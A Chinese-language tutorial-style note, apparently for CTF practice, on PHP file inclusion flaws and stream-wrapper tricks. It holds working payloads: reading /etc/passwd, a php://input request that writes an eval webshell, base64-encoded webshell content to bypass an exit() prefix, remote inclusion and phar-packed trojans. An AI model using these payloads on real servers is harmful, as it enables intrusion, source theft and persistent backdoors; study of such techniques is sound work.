前言

  1. 当一个文件被包含时,无论该文件后缀是否是php,都将作为php文件处理
  2. 被包含文件中在有效的 PHP 起始和结束标记中的代码将作为 PHP 代码执行,其余直接输出不会影响代码执行,如#123<?php echo 4;?>5,include后输出的是#12345
  3. 其中所包含的代码继承了 include 所在行的变量范围。从该处开始,调用文件在该行处可用的任何变量在被调用的文件中也都可用,所有在包含文件中定义的函数和类都具有全局作用域,

php函数

include:执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行

示例代码

1
2
3
<?php $filename = $_GET['filename'];     
include $filename;
?>

require:只要程序一运行就包含文件,找不到被包含的文件时会报错,并停止脚本

include_oncerequire_once:不会多次加载同一文件(即文件及其包含的文件不能两次require_once()同一文件,第二次失效)

  • require_once 绕过
    php7.2.23,require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含,/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接
    构造payload
    1
    ?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
    还可以使用spl_autoload_register实现自动加载
    1
    2
    3
    spl_autoload_register(function ($class) {//$class为文件名
    include 'classes/' . $class . '.class.php';
    });
    此外能触发文件包含漏洞的函数还有
  • highlight_file(); 函数对文件进行语法高亮显示,同样也可以使文件输出
  • show_source(); 是higlight_file()的别名
  • file_get_contents();把整个文件读入一个字符串中
  • 打开文件
  1. highlight_file()、show_source()
    函数对文件进行语法高亮显示,通常能看到源代码
  2. readfile()、file_get_contents()、
    函数读取一个文件,并写入到输出缓冲
  3. fopen(),fopen_file()
    打开一个文件或者url

php环境

  1. 远程包含
  • allow_url_fopen=On(默认为On) 就可以将 HTTP 和 FTP URL 与大多数以文件名作为参数的函数一起使用
  • allow_url_include=On(php5.2之后默认为Off) 就可以在 include、include_once、require 及 require_once 语句中使用 URL(为远程包含加了一道保险)

本地文件包含 ?filename=../../flag
远程文件包含 ?filename=http://192.168.91.133/FI
2. 预包含
php.ini中有两项:

1
2
3
4
5
6
7
8
9
auto_prepend_file 在页面顶部加载文件
auto_prepend_file = "/home/fdipzone/header.php"

auto_append_file 在页面底部加载文件
auto_append_file = "/home/fdipzone/footer.php"

include_path 默认路径
ini_set("include_path","../../../../../../../../");
include "etc/passwd";

.htaccess 的预包含

1
2
3
php_value auto_prepend_file "/home/fdipzone/header.php"
php_value auto_append_file "/home/fdipzone/footer.php"
php_value include_path "文件路径"

.user.ini的预包含

1
auto_prepend_file=01.gif

PHP伪协议

Screenshot_2022-07-20-20-19-01-40_149003a2d400f6adb210d7e357a3a646.jpg

file:// 协议

file:// — 访问本地文件系统
文件系统 是 PHP 使用的默认封装协议,展现了本地文件系统. 当指定了一个相对路径(不以/、\、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。 在很多情况下是脚本所在的目录,除非被修改了。 使用 CLI 的时候,目录默认是脚本被调用时所在的目录。
Eg:http://127.0.0.1/cmd.php?file=file:///etc/passwd

php://协议

php:// — 访问各个输入/输出流(I/O streams)
php://input协议(受限于 allow_url_include)
可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行
注:enctype=”multipart/form-data” 的时候 php://input 是无效的。
QQ截图20220326211707
利用php://input还可以写入php木马,即在post中传入如下代码:
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]);?>');?>

php://filter协议
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。相比于其他协议它的权限最低故也最常用
QQ截图20220326212351

我们平时是这样利用它来读取php源码的
php://filter/read=convert.base64-encode/resource=flag.php
在这个payload里,convert.base64-encode就是一个过滤器,而flag.php就是要过滤的数据流,也就是要读取的文件。

php://filter/read=convert.iconv.utf-16le.utf-8/resource=flag.php
如果base64别过滤可以用这个过滤器,通过编码转换读取文件

1
2
3
4
//解密脚本
<?php
$text="㼼桰ੰ††⼯汦条䤺䍓筃坬娹㡨然㑮甲乌歔䙘ㄴ䕙㤰㕴潪卶獖੽††捥潨传䡈‬低丠⁏低‬潣敭愠摮朠瑥洠㭥ਊ";
echo iconv("UTF-8", "utf-16le", $text);

注意这两种方法不能读php文件
php://filter/read=string.rot13/resource=flag.php
ROT-13 编码是一种每一个字母被另一个字母代替的方法。 这个代替字母是由原来的字母向前移动 13 个字母而得到的

php://filter/read=string.strip_tags/resource=flag
string.strip_tags从字符串中去除 HTML 和 PHP 标记,尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。

data://协议(受限于 allow_url_fopen, allow_url_include)

data://text/plain协议
data:(» RFC 2397)数据流封装器(同样类似与php://input)。
使用方法:

1
2
// 打印 "I love PHP"
echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');

phar://协议

phar:// — PHP 归档
phar:// 数据流包装器。详细的描述可参见 Phar 数据流包装器。
用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php

注意:PHP >= 5.3.0 压缩包需要是zip协议压缩,rar不行 ,将木马文件压缩后,改为其任意格式的文件都可以正常使用。

步骤:写一个一句话木马文件 sehll.php ,然后用zip协议压缩为 shell.zip ,然后将后缀改为 png 等其他格式。

glob://协议

glob:// — 查找匹配的文件路径模式

1
2
3
4
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}

waf绕过

绕过死亡exit

1
2
3
4
<?php
$filename=$_GET['filename'];
$content=$_GET['content'];
file_put_contents($filename,"<?php exit();".$content);
  1. base64
    Base64编码由64个可打印ASCII字符(A-Z、a-z、0-9、+、/)组成,解码时是4个byte一组
    而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符
    则外加部分满足4个byte一组,就不会影响后续解码
    ?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==其中phpexita被解成乱码

也可以先使用strip_tags去除 HTML 和 PHP 标记
?filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=3.php&content=?>PD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

直接包含getshell

膜拜https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html